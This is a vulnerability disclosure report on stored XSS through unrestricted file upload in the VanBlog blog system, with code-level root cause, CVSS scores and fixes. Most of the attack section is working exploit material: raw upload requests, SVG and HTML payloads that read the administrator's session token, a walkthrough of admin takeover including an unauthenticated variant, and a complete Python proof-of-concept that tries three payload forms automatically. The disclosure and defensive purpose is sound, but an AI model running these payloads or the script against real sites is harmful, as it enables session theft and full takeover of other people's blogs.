Stored Cross-Site Scripting (XSS) via Unrestricted File Upload in VanBlog ≤ 0.54.0
BUG_Author: Geronimo (VulDB UID 102234)
Affected Version: VanBlog ≤ 0.54.0 (all released versions; the master branch build is also affected)
Vendor: Mereithhh/vanblog (GitHub)
Software: VanBlog — self-hosted blog system (NestJS + MongoDB backend, Next.js frontend, Umi admin SPA, Caddy reverse proxy, official Docker image mereith/van-blog)
Vulnerability Files:
packages/server/src/types/access/access.ts (line 50 — upload endpoint whitelisted for collaborators)packages/server/src/provider/access/access.guard.ts (lines 12–53 — whitelist → allow, default deny otherwise)packages/server/src/controller/admin/img/img.controller.ts (lines 39–61 — upload handler, no type validation)packages/server/src/provider/static/static.provider.ts (lines 51–131 — extension taken from user filename, lines 104–115)packages/server/src/provider/static/local.provider.ts (lines 62–81 — writes bytes verbatim into the static directory)packages/server/src/utils/imgCompress.ts (lines 61–70 — Content-Type only forced for webp/avif)packages/server/src/main.ts (lines 28–31 — express.static mounted at /static/)packages/server/src/app.module.ts (lines 192–202) and packages/server/src/controller/admin/init/init.controller.ts (lines 44–60) — unauthenticated upload path on non-initialized instancesUnauthenticated/low-privilege access to the upload endpoint:
packages/server/src/types/access/access.ts, the route post-/api/admin/img/upload is placed in the publicRoutes whitelist, which packages/server/src/provider/access/access.guard.ts uses to grant access to any authenticated collaborator — including collaborators whose permissions array is empty.HTTP 403 on GET /api/admin/setting/static but HTTP 201 on POST /api/admin/img/upload.No file-type validation on upload:
packages/server/src/provider/static/static.provider.ts derives the stored extension from the multipart filename:
tsconst arr = file.originalname.split('.');
const fileType = arr[arr.length - 1]; // extension fully controlled by the client
...
fileName = currentSign + '.' + file.originalname; // original filename kept
const storedType = ... : fileType;
There is no allow-list for extension, no MIME check and no "must decode as a real image" check.
packages/server/src/provider/static/local.provider.ts then writes the attacker-supplied bytes, unmodified, into <staticPath>/img/:
tsconst srcPath = path.join(config.staticPath, storagePath, fileName);
fs.writeFileSync(srcPath, buffer);
Response Content-Type is chosen from the attacker-controlled extension:
packages/server/src/utils/imgCompress.ts only forces a Content-Type for webp/avif; every other extension falls through to send's MIME lookup used by express.static (packages/server/src/main.ts)..html is served as text/html; charset=utf-8 and an uploaded .svg as image/svg+xml — both are parsed and executed by the browser.Content-Security-Policy and no X-Content-Type-Options: nosniff are emitted by the application or by the shipped CaddyfileTemplate / caddyTemplate.json.Same-origin with the admin dashboard → session theft:
CaddyfileTemplate serves /static/* and /admin* from the same origin (handle /static/* → 127.0.0.1:3000, handle_path /admin* → /app/admin).localStorage["token"] (packages/admin/src/components/UploadBtn/index.tsx, services/van-blog/api.js), so JavaScript running from /static/... can read the administrator's session token.token header and is the only session credential (packages/server/src/provider/auth/token.guard.ts), i.e. stealing it equals full admin takeover.Payload format depends on the build (both are exploitable):
master branch: safeImageSize() swallows the image-size exception and falls back to the extension, so a plain .html payload is stored verbatim.v0.54.0: saveImg() calls imageSize(buffer) directly, so non-image bytes are rejected with HTTP 500; however a valid image header is enough to pass — an .svg containing <script> (accepted by image-size, and cwebp cannot re-encode it, so it is stored verbatim) or a GIF89a-header polyglot named .html both work.<iframe>), and the polyglot executes as HTML.Second, unauthenticated variant (fresh installations):
packages/server/src/app.module.ts excludes POST /api/admin/init/upload from InitMiddleware, and InitController.uploadImg has no guard — it only checks checkHasInited() inside the handler./api/admin/init (the default state of every new deployment), anyone who can reach the instance can upload an executable file without any credentials.Example XSS payload (visible proof, no data exfiltration):
html<svg xmlns="http://www.w3.org/2000/svg" width="820" height="340"><script>
var t=localStorage.getItem('token')||'NONE';
var L=['XSS_OK','origin='+location.origin,'tokenLen='+t.length,'token='+t];
var r=document.createElementNS('http://www.w3.org/2000/svg','rect');
r.setAttribute('width','820');r.setAttribute('height','340');r.setAttribute('fill','#fff');
document.documentElement.appendChild(r);
L.forEach(function(s,i){var x=document.createElementNS('http://www.w3.org/2000/svg','text');
x.setAttribute('x','8');x.setAttribute('y',''+(22+i*17));x.setAttribute('font-size','12');
x.textContent=s;document.documentElement.appendChild(x);});
</script></svg>
(Note: JS embedded in an SVG must not contain a raw & or <, otherwise the SVG becomes malformed XML and the browser shows a parse error instead of executing it.)
Requesting the upload endpoint:
POST /api/admin/img/upload HTTP/1.1 Host: <target> token: <any collaborator JWT, permissions may be []> Content-Type: multipart/form-data; boundary=... Content-Disposition: form-data; name="file"; filename="x.html" Content-Type: text/html <script>alert(document.domain)</script>
Response:
json{"statusCode":200,"data":{"src":"/static/img/<md5>.x.html","isNew":true}}
Verifying the exploit:
GET /static/img/<md5>.x.html returns HTTP 200 with Content-Type: text/html; charset=utf-8, no Content-Security-Policy, no X-Content-Type-Options./admin on the same origin, localStorage["token"] (a ~260-byte HS256 JWT, header eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9) is readable by the payload and can be used against any /api/admin/* endpoint.
Log in as a low-privilege collaborator (permissions = []) and confirm the authorization boundary:
POST /api/admin/auth/login {"username":"collab","password":"<front-end sha256 hash>"} GET /api/admin/setting/static -> HTTP 403 (boundary is enforced)
Upload an executable file through the whitelisted endpoint:
POST /api/admin/img/upload token: <collaborator JWT> file=@payload.html (filename="payload.html", type="text/html")
master: HTTP 201 → /static/img/<md5>.payload.htmlv0.54.0: HTTP 500 for .html; repeat with payload.svg (type="image/svg+xml") → HTTP 201 → /static/img/<md5>.payload.svgConfirm the file is served as an executable document:
GET /static/img/<md5>.payload.svg -> HTTP 200, Content-Type: image/svg+xml, no CSP, no nosniff
Trigger the stored XSS and steal the administrator session:
Open <origin>/admin/ and log in as the site administrator.
In the same browser, open <origin>/static/img/<md5>.payload.svg.
The page renders the value of localStorage["token"], e.g.:
XSS_OK origin=https://<target> tokenLen=260 token=<full JWT>
Decoding the JWT payload yields {"username":"admin","sub":0,"type":"admin",...}; sub:0 is the super administrator.
Prove the stolen token is live (session takeover):
GET /api/admin/collaborator with header token: <stolen JWT> -> HTTP 200 (admin-only endpoint)
Unauthenticated variant (non-initialized instance only):
GET /api/admin/meta -> {"statusCode":233,"message":"未初始化!"} POST /api/admin/init/upload (no token at all) file=@payload.svg -> HTTP 201 {"src":"/static/img/<md5>.payload.svg"}
An authenticated collaborator without any permission — or, on a not-yet-initialized deployment, any unauthenticated visitor — can store an executable HTML/SVG document on the site origin and obtain the administrator's session token when the administrator visits it. This results in complete administrative takeover (site settings, image-host credentials, collaborator management, article import/export) and enables persistent backdooring of the instance.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N = 8.7 (High)CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 9.3 (Critical)<md5>.<normalized extension> and ignore file.originalname./static with X-Content-Type-Options: nosniff and Content-Disposition: attachment for non-image types (or a Content-Security-Policy: sandbox / separate origin).post-/api/admin/img/upload from the collaborator publicRoutes whitelist and require an explicit img:upload permission.Content-Security-Policy, X-Frame-Options/frame-ancestors and HSTS to the shipped Caddy configuration.localStorage to a HttpOnly; Secure; SameSite=Strict cookie.127.0.0.1) for /api/admin/init and /api/admin/init/upload, and put the "has been initialized" check into a guard that runs before the multipart parser.mereith/van-blog:latest (reports v0.54.0) with mongo:4.4.16, default Caddy reverse proxy, Debian/Alpine official image.master branch built from source (tsc -p tsconfig.build.json, Node 18/24) with the same MongoDB.Purpose: automates the manual steps in sections 8/9 — login → try three payload forms in order (plain
.html/.svg/ GIF-header polyglot) → verify the served headers and body → print the executable URL and an audit summary.Properties: (1) hard upload cap of 3 (
MAX_UPLOADS), stops on first success; (2) automatically adapts to themasterbuild and thev0.54.0release image; (3) three authentication modes (existing JWT / username+password / anonymous upload on a non-initialized instance); (4) the payload never sends data anywhere, it only renders the result in its own page.Usage: fill
BASE_URL,USER,PASS(orTOKEN) in the CONFIG block at the top of the script, then run:
bash python vanblog_xss_poc.py --recon # reconnaissance only, 0 uploads python vanblog_xss_poc.py # full verification, at most 3 uploadsDependencies: Python standard library only.
python#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
VanBlog Stored XSS - universal (version-agnostic) verification script
================================================================================
Applies to: VanBlog master source builds AND v0.54.0 (and earlier) release images. The
payload format differs between them; this script probes automatically and falls back.
Vulnerability: unrestricted file-type upload -> stored XSS
- the upload endpoint validates neither extension, MIME type nor real image content
- static files are served with a Content-Type derived from the extension
- no Content-Security-Policy and no X-Content-Type-Options:nosniff
- /static and /admin share one origin -> localStorage['token'] (admin session) is readable
Three authentication modes (chosen automatically, top to bottom):
1) TOKEN an existing JWT (browser F12 -> Application -> Local Storage -> token)
2) USER/PASS account credentials (plaintext or the 64-char front-end hash)
3) both empty: fall back to the anonymous upload path of a non-initialized instance
(/api/admin/init/upload; only usable before the instance is initialized, PR:N variant)
Scope and safety constraints:
- MAX_UPLOADS is a hard cap (default 3); anything beyond is refused; stops on first success
- the payload sends data nowhere; it only renders the result inside its own page
- nothing is deleted by default (CLEANUP_AFTER=True removes only files uploaded by this run)
Usage:
python vanblog_xss_poc.py --recon # reconnaissance only (0 uploads)
python vanblog_xss_poc.py # full verification (at most MAX_UPLOADS uploads)
python vanblog_xss_poc.py --base URL --user U --pass P
python vanblog_xss_poc.py --base URL --token <JWT>
python vanblog_xss_poc.py --help
Exit codes: 0=vulnerable 1=not reproduced/patched 3=configuration or authentication failure
Python standard library only; the browser self-check is optional.
"""
# ============================================================================
# === CONFIG BLOCK (empty = fill in; command-line options override) ===
# ============================================================================
# --- Target -----------------------------------------------------------------
BASE_URL = "" # required | site/API base URL, e.g. "https://blog.example.com"
ADMIN_URL = "" # optional | admin entry, e.g. "https://blog.example.com/admin/"
# leave empty to derive it as BASE_URL + "/admin/"
# --- Authentication (pick ONE mode; leave all empty for anonymous upload) -----
TOKEN = "" # optional | existing JWT, e.g. "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxxxx.yyyyy"
USER = "" # optional | account name, e.g. "collab"
PASS = "" # optional | plaintext or the 64-char front-end hash.
# plaintext e.g. "MyPass123" hash e.g. "0123456789abcdef...(64 hex chars)"
# --- Behaviour switches ------------------------------------------------------
MAX_UPLOADS = 3 # hard upload cap (how many files you are authorized to upload)
SHOW_FULL_TOKEN = True # True=render the full token (80 chars per line; redact it yourself)
# False=render only the first 12 characters
VERIFY_WITH_BROWSER = True # open the payload once in headless Chrome to prove it executes
CHROME_PATH = "" # leave empty to auto-detect Chrome/Edge
CLEANUP_AFTER = False # True=delete the files uploaded by this run (default: keep)
TIMEOUT = 25
# ============================================================================
import argparse
import base64
import hashlib
import json
import os
import random
import shutil
import string
import subprocess
import sys
import tempfile
import time
import urllib.error
import urllib.parse
import urllib.request
UPLOADS = 0 # number of uploads already performed
CREATED = [] # files created by this run (for cleanup)
# ---------------------------------------------------------------- helpers
def sha256_hex(s):
return hashlib.sha256(s.encode("utf-8")).hexdigest()
def encrypt_pwd(username, password):
"""Mirrors the front-end packages/admin/src/services/van-blog/encryptPwd.js:
sha256(lower(u) + sha256(sha256(sha256(sha256(p))) + sha256(lower(u))))
"""
u = username.lower()
a = password
for _ in range(4):
a = sha256_hex(a)
return sha256_hex(u + sha256_hex(a + sha256_hex(u)))
def is_front_hash(s):
s = str(s)
return len(s) == 64 and all(c in "0123456789abcdefABCDEF" for c in s)
def marker(n=6):
return "".join(random.choices(string.ascii_lowercase + string.digits, k=n))
def origin_of(url):
u = urllib.parse.urlsplit(url)
if not u.scheme:
return url.rstrip("/")
default = 443 if u.scheme == "https" else 80
if u.port and u.port != default:
return "%s://%s:%s" % (u.scheme, u.hostname, u.port)
return "%s://%s" % (u.scheme, u.hostname)
def jwt_payload(tok):
"""Best-effort decode of the JWT payload segment (no signature check)."""
try:
seg = tok.split(".")[1]
seg += "=" * (-len(seg) % 4)
return json.loads(base64.urlsafe_b64decode(seg).decode("utf-8", "replace"))
except Exception:
return None
def hdr(t):
print("=" * 78, flush=True)
print(t, flush=True)
print("=" * 78, flush=True)
def ok(m):
print(" [PASS] " + m, flush=True)
def bad(m):
print(" [FAIL] " + m, flush=True)
def info(m):
print(" [ .. ] " + m, flush=True)
# ---------------------------------------------------------------- HTTP
def build_multipart(field, filename, content, ctype):
b = "----vbxss" + "".join(random.choices(string.ascii_letters + string.digits, k=16))
body = b""
body += ("--%s\r\n" % b).encode()
body += ('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (field, filename)).encode()
body += ("Content-Type: %s\r\n\r\n" % ctype).encode()
body += content + b"\r\n"
body += ("--%s--\r\n" % b).encode()
return body, "multipart/form-data; boundary=" + b
def req(cfg, method, path, token=None, json_body=None, body=None, headers=None):
url = path if path.startswith("http") else cfg["base"].rstrip("/") + path
hdrs = dict(headers or {})
if token:
hdrs["token"] = token
data = None
if json_body is not None:
data = json.dumps(json_body).encode()
hdrs.setdefault("Content-Type", "application/json")
elif body is not None:
data = body
r = urllib.request.Request(url, data=data, headers=hdrs, method=method)
try:
with urllib.request.urlopen(r, timeout=cfg["timeout"]) as resp:
return resp.status, dict(resp.headers), resp.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return 0, {}, str(e).encode()
def jreq(cfg, method, path, token=None, json_body=None):
st, hd, raw = req(cfg, method, path, token, json_body)
try:
return st, hd, json.loads(raw.decode("utf-8", "replace"))
except Exception:
return st, hd, {}
def do_upload(cfg, anon, filename, content, ctype, token):
"""The only upload entry point: enforces the hard budget and both endpoints."""
global UPLOADS
if UPLOADS >= cfg["max_uploads"]:
print(" [STOP] upload cap %d reached, refusing to continue" % cfg["max_uploads"], flush=True)
return 0, {}, b""
UPLOADS += 1
path = "/api/admin/init/upload" if anon else "/api/admin/img/upload"
body, ct = build_multipart("file", filename, content, ctype)
print(" [UPLOAD %d/%d] %s -> %s" % (UPLOADS, cfg["max_uploads"], filename, path), flush=True)
return req(cfg, "POST", path, token, body=body, headers={"Content-Type": ct})
# ---------------------------------------------------------------- payload
def payload_js(mk, show_full):
"""Renders the result in both HTML and SVG documents. In XML, a bare & or < is illegal:
use match() chunking + forEach instead of comparison operators."""
if show_full:
js_tok = (
"var t=localStorage.getItem('token')||'NONE';"
"var C=t.match(/.{1,80}/g)||[];"
"var L=['XSS_OK_%s','origin='+location.origin,'tokenLen='+t.length];"
"if(C.length){C.forEach(function(s,i){L.push('token'+(i?'+':'')+'='+s)});}"
"else{L.push('token=NONE(no session in this browser)');}"
% mk)
else:
js_tok = (
"var t=localStorage.getItem('token')||'NONE';"
"var L=['XSS_OK_%s','origin='+location.origin,'tokenLen='+t.length,"
"'tokenHead='+t.slice(0,12)];" % mk)
return (js_tok +
"try{document.title='XSS-%s';}catch(e){}"
"try{"
"var NS='http://www.w3.org/2000/svg';"
"var de=document.documentElement;"
"if(de.namespaceURI===NS){"
"var r=document.createElementNS(NS,'rect');"
"r.setAttribute('width','820');r.setAttribute('height','340');r.setAttribute('fill','#ffffff');"
"de.appendChild(r);"
"L.forEach(function(s,i){"
"var x=document.createElementNS(NS,'text');"
"x.setAttribute('x','8');x.setAttribute('y',''+(22+i*17));"
"x.setAttribute('font-size','12');x.setAttribute('font-family','monospace');"
"x.setAttribute('fill','#c00000');x.textContent=s;de.appendChild(x);});"
"}else{"
"var pre=document.createElement('pre');"
"pre.setAttribute('style','font:13px monospace;padding:12px;color:#c00000;white-space:pre-wrap;word-break:break-all');"
"pre.textContent=L.join('\\n');document.body.appendChild(pre);}"
"}catch(e){try{document.body.appendChild(document.createTextNode('XSS_ERR '+e));}catch(e2){}}"
% mk).encode()
def forms(mk, show_full):
"""Three payload forms, ordered by likelihood for the current build; stops on success."""
js = payload_js(mk, show_full)
html = b"<!DOCTYPE html><html><body><script>" + js + b"</script></body></html>"
svg = (b'<svg xmlns="http://www.w3.org/2000/svg" width="820" height="340"><script>' +
js + b"</script></svg>")
poly = b"GIF89a" + bytes([1, 0, 1, 0]) + b"<script>" + js + b"</script>"
return [
("plain .html (master build)", "x_%s.html" % mk, html, "text/html"),
("SVG with inline script (v0.54.0 and earlier)", "x_%s.svg" % mk, svg, "image/svg+xml"),
("GIF-header polyglot named .html (both builds)", "x_%s_p.html" % mk, poly, "text/html"),
]
# ---------------------------------------------------------------- browser self-check
def find_chrome(cfg):
if cfg["chrome"] and os.path.exists(cfg["chrome"]):
return cfg["chrome"]
for c in (r"C:\Program Files\Google\Chrome\Application\chrome.exe",
r"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe",
r"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe",
r"C:\Program Files\Microsoft\Edge\Application\msedge.exe",
"/usr/bin/google-chrome", "/usr/bin/chromium", "/usr/bin/chromium-browser"):
if os.path.exists(c):
return c
return None
def browser_check(cfg, url, mk):
if not cfg["browser"]:
return None, "disabled (VERIFY_WITH_BROWSER=False)"
exe = find_chrome(cfg)
if not exe:
return None, "Chrome/Edge not found, skipping"
prof = tempfile.mkdtemp(prefix="vbxss-")
try:
cp = subprocess.run(
[exe, "--headless=new", "--disable-gpu", "--no-sandbox", "--no-first-run",
"--no-default-browser-check", "--user-data-dir=" + prof,
"--virtual-time-budget=6000", "--dump-dom", url],
capture_output=True, timeout=60)
dom = (cp.stdout or b"").decode("utf-8", "replace")
if "parsererror" in dom:
return False, "browser rejected the SVG as malformed XML (unescaped character in payload)"
if "XSS_OK_" + mk in dom:
return True, "DOM contains XSS_OK_%s (script executed and rendered)" % mk
if "XSS_ERR" in dom:
return False, "script executed but threw (DOM contains XSS_ERR)"
return False, "expected marker not found in the DOM"
except Exception as e:
return None, "browser check failed: %r" % (e,)
finally:
shutil.rmtree(prof, ignore_errors=True)
# ---------------------------------------------------------------- authentication
def resolve_session(cfg):
"""Returns (token or None, anon flag, description)."""
if cfg["token"]:
return cfg["token"], False, "using the configured TOKEN"
if cfg["user"] and cfg["pass"]:
pw = cfg["pass"] if is_front_hash(cfg["pass"]) else encrypt_pwd(cfg["user"], cfg["pass"])
kind = "front-end hash" if is_front_hash(cfg["pass"]) else "plaintext -> local hash"
st, _, j = jreq(cfg, "POST", "/api/admin/auth/login",
json_body={"username": cfg["user"], "password": pw})
tok = ((j.get("data") or {}).get("token")) if isinstance(j, dict) else None
info("login %s (password form: %s) -> HTTP %s token=%s"
% (cfg["user"], kind, st, "yes" if tok else "no"))
if tok:
return tok, False, "account %s" % cfg["user"]
return None, False, "login failed (HTTP %s)" % st
return None, True, "no credentials configured -> trying anonymous upload (non-initialized only)"
# ---------------------------------------------------------------- phase 1: recon
def recon(cfg):
hdr("Phase 1 - reconnaissance (0 uploads)")
st, _, j = jreq(cfg, "GET", "/api/public/meta")
ver = ((j.get("data") or {}).get("version")) if isinstance(j, dict) else None
info("GET /api/public/meta -> HTTP %s version=%s" % (st, ver))
if st != 200:
bad("target unreachable or not VanBlog: %s" % cfg["base"])
return None
site = ((j.get("data") or {}).get("meta") or {}).get("siteInfo") or {}
if site.get("siteName"):
info("site: %s baseUrl=%s" % (site.get("siteName"), site.get("baseUrl")))
# whether the instance is initialized (decides if anonymous mode is possible)
st_i, _, j_i = jreq(cfg, "GET", "/api/admin/meta")
inited = not (isinstance(j_i, dict) and j_i.get("statusCode") == 233)
info("instance initialization state: %s (%s)"
% ("initialized" if inited else "not initialized", "anonymous upload works only before initialization"))
tok, anon, note = resolve_session(cfg)
info("authentication: %s" % note)
if tok:
st3, _, j3 = jreq(cfg, "GET", "/api/admin/meta", tok)
u = ((j3.get("data") or {}).get("user")) or {}
info("current session: name=%s id=%s type=%s permissions=%s"
% (u.get("name"), u.get("id"), u.get("type"), u.get("permissions")))
st4, _, _ = req(cfg, "GET", "/api/admin/setting/static", tok)
info("GET /api/admin/setting/static -> HTTP %s (200=admin / 403=collaborator)" % st4)
p = jwt_payload(tok)
if p:
info("JWT payload: %s" % json.dumps(p, ensure_ascii=False))
elif anon and inited:
bad("no credentials configured and the instance is already initialized -> anonymous upload unavailable; set TOKEN or USER/PASS")
return None
st5, _, _ = req(cfg, "GET", "/admin/")
info("GET /admin/ -> HTTP %s (admin entry reachability)" % st5)
return {"version": ver, "inited": inited, "token": tok, "anon": anon}
# ---------------------------------------------------------------- phase 2: upload
def run_upload_phase(cfg, sess):
hdr("Phase 2 - stored XSS verification (upload budget %d, stops on first success)" % cfg["max_uploads"])
mk = marker()
info("unique marker for this run = %s" % mk)
if sess["anon"]:
info("mode: anonymous upload (PR:N) /api/admin/init/upload")
else:
info("mode: authenticated upload /api/admin/img/upload (token ready)")
hit = None
attempts = []
for name, fname, payload, ctype_decl in forms(mk, cfg["show_full_token"]):
st, _, raw = do_upload(cfg, sess["anon"], fname, payload, ctype_decl, sess["token"])
try:
j = json.loads(raw.decode("utf-8", "replace"))
except Exception:
j = {}
src = ((j.get("data") or {}).get("src"))
attempts.append({"form": name, "http": st, "src": src})
print(" form: %s" % name, flush=True)
print(" -> HTTP %s %s" % (st, src or raw[:110]), flush=True)
if st not in (200, 201) or not src:
if UPLOADS >= cfg["max_uploads"]:
break
continue
CREATED.append(src)
s2, hd, bd = req(cfg, "GET", src)
ct = (hd.get("Content-Type") or "").lower()
csp = hd.get("Content-Security-Policy")
nosniff = (hd.get("X-Content-Type-Options") or "").lower()
executable = ct.startswith("text/html") or ct.startswith("image/svg+xml")
intact = mk.encode() in bd
print(" read-back HTTP=%s Content-Type=%s contains marker=%s" % (s2, ct, intact), flush=True)
if s2 == 200 and executable and intact:
hit = {"form": name, "src": src, "ctype": ct, "csp": csp,
"nosniff": nosniff, "body": bd, "http": st}
break
if UPLOADS >= cfg["max_uploads"]:
break
print()
print("-" * 78, flush=True)
if not hit:
bad("no executable payload could be planted within %d uploads - the target may have patched the validation." % UPLOADS)
for a in attempts:
info("%s -> HTTP %s" % (a["form"], a["http"]))
print("-" * 78, flush=True)
return 1
admin_origin = origin_of(cfg["admin_url"])
url_admin = admin_origin + hit["src"]
build_type = ("master source build" if "plain .html" in hit["form"] else
"v0.54.0 and earlier release image" if "SVG" in hit["form"] else "generic (polyglot)")
# results
ok("winning form: %s" % hit["form"])
ok("Content-Type:%s" % hit["ctype"])
ok("no CSP: %s" % (not hit["csp"]))
ok("no nosniff: %s" % ("nosniff" not in hit["nosniff"]))
ok("body served unchanged: %s" % (mk.encode() in hit["body"]))
info("inferred build type: %s" % build_type)
info("uploads used: %d / %d" % (UPLOADS, cfg["max_uploads"]))
print()
info("[browser verification URL] must be same-origin with the admin panel and opened while logged in:")
print(" %s" % url_admin, flush=True)
if cfg["show_full_token"]:
info("the page renders the full token (80 chars per line); the self-check uses a fresh")
info("temporary profile with no session, so tokenLen will be 4 (NONE) - that is expected.")
else:
info("the page renders only the first 12 characters of the token.")
b_ok, b_msg = browser_check(cfg, url_admin, mk)
if b_ok is True:
ok("browser self-check: %s" % b_msg)
elif b_ok is False:
bad("browser self-check: %s" % b_msg)
else:
info("browser self-check skipped: %s" % b_msg)
if cfg["cleanup"]:
print()
info("--cleanup enabled, deleting the files uploaded by this run...")
for src in CREATED:
nm = os.path.basename(src)
st, _, j = jreq(cfg, "GET", "/api/admin/img?page=1&pageSize=100", sess["token"])
items = ((j.get("data") or {}).get("data")) or []
tgt = next((x for x in items if x.get("name") == nm or x.get("realPath") == src), None)
if tgt and tgt.get("sign"):
stx, _, _ = req(cfg, "DELETE", "/api/admin/img/" + tgt["sign"], sess["token"])
info("delete %s -> HTTP %s" % (nm, stx))
else:
info("%s not found in the image-host list, skipping" % nm)
# ---------------- structured summary for the CVE report ----------------
print()
hdr("Audit summary (paste into the report; redact the token)")
print(" Target : %s" % cfg["base"], flush=True)
print(" Version : %s" % sess["version"], flush=True)
print(" Build type : %s" % build_type, flush=True)
print(" Instance : %s" % ("initialized" if sess["inited"] else "not initialized"), flush=True)
print(" Auth : %s%s" % ("anonymous (PR:N)" if sess["anon"] else "authenticated",
"" if sess["anon"] else " / " + str(
(jwt_payload(sess["token"]) or {}).get("type", "?"))), flush=True)
print(" Winning form : %s (HTTP %s)" % (hit["form"], hit["http"]), flush=True)
print(" Stored path : %s" % hit["src"], flush=True)
print(" Response hdrs : Content-Type=%s CSP=%s X-Content-Type-Options=%s"
% (hit["ctype"], hit["csp"] or "none", hit["nosniff"] or "none"), flush=True)
print(" Same origin : %s and %s share one origin = %s"
% ("/static", "/admin", origin_of(cfg["admin_url"]) == origin_of(cfg["base"])), flush=True)
print(" Uploads : %d" % UPLOADS, flush=True)
print(" Verify URL : %s" % url_admin, flush=True)
print("-" * 78, flush=True)
print("Conclusion: stored XSS reproduced (VULNERABLE)", flush=True)
return 0
# ---------------------------------------------------------------- main
def build_cfg(args):
base = (args.base or BASE_URL or "").strip().rstrip("/")
admin = (args.admin_url or ADMIN_URL or "").strip()
if not admin and base:
admin = base + "/admin/"
return {
"base": base,
"admin_url": admin,
"token": (args.token or TOKEN or "").strip(),
"user": (args.user or USER or "").strip(),
"pass": (args.password or PASS or ""),
"max_uploads": args.max_uploads if args.max_uploads is not None else MAX_UPLOADS,
"show_full_token": (SHOW_FULL_TOKEN if args.no_full_token is None else (not args.no_full_token)),
"browser": (VERIFY_WITH_BROWSER if args.no_browser is None else (not args.no_browser)),
"chrome": CHROME_PATH,
"cleanup": (CLEANUP_AFTER if not args.cleanup else True),
"timeout": TIMEOUT,
}
def main():
ap = argparse.ArgumentParser(
description="VanBlog stored XSS universal verification (master / v0.54.0 release image)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="Examples:\n"
" python vanblog_xss_poc.py --base http://target --user collab --recon\n"
" python vanblog_xss_poc.py --base http://target --token eyJ...\n"
" python vanblog_xss_poc.py --base http://target --user u --pass 'p' --cleanup\n")
ap.add_argument("--base", help="site/API base URL (overrides BASE_URL)")
ap.add_argument("--admin-url", dest="admin_url", help="admin entry (default BASE_URL + /admin/)")
ap.add_argument("--token", help="existing JWT")
ap.add_argument("--user", help="account name")
ap.add_argument("--pass", dest="password", help="password (plaintext or front-end 64-char hash)")
ap.add_argument("--max-uploads", type=int, dest="max_uploads",
help="upload cap (default from the config block; keep it at or below 3)")
ap.add_argument("--no-full-token", action="store_true", default=None,
help="render only the first 12 characters of the token (default: full)")
ap.add_argument("--no-browser", action="store_true", default=None,
help="skip the headless-browser self-check")
ap.add_argument("--cleanup", action="store_true", help="delete the files uploaded by this run")
ap.add_argument("--recon", action="store_true", help="reconnaissance only, no upload")
args = ap.parse_args()
cfg = build_cfg(args)
print("-" * 78, flush=True)
print("Effective configuration", flush=True)
print(" BASE_URL = %s" % (cfg["base"] or "(not set)"), flush=True)
print(" ADMIN_URL = %s" % (cfg["admin_url"] or "(auto-derived)"), flush=True)
print(" Auth = %s" % ("TOKEN" if cfg["token"] else
("USER/PASS: " + cfg["user"] if cfg["user"] else "anonymous (non-initialized instance)")), flush=True)
print(" MAX_UPLOADS = %d" % cfg["max_uploads"], flush=True)
print(" Full token = %s" % cfg["show_full_token"], flush=True)
print(" Browser check = %s" % cfg["browser"], flush=True)
print(" Cleanup = %s" % cfg["cleanup"], flush=True)
print("-" * 78, flush=True)
if not cfg["base"]:
bad("BASE_URL is not configured. Edit the CONFIG block at the top of this script, or pass --base, e.g.:")
print(' python vanblog_xss_poc.py --base "https://blog.example.com" '
'--user collab --pass "MyPass123"', flush=True)
return 3
if cfg["max_uploads"] > 3:
print(" [WARN] MAX_UPLOADS > 3, make sure your authorization allows that.", flush=True)
sess = recon(cfg)
if not sess:
return 3
if args.recon:
print()
info("reconnaissance-only run finished (0 uploads)")
return 0
return run_upload_phase(cfg, sess)
if __name__ == "__main__":
sys.exit(main())
MAX_UPLOADS defaults to 3,
do not run it against targets you are not allowed to test.POST /api/admin/img/upload (or POST /api/admin/init/upload on a
non-initialized instance) plus read-only GET /api/admin/* endpoints. It does not delete
or modify any data (CLEANUP_AFTER=False).localStorage["token"] will be empty and only tokenLen=4 will
be shown.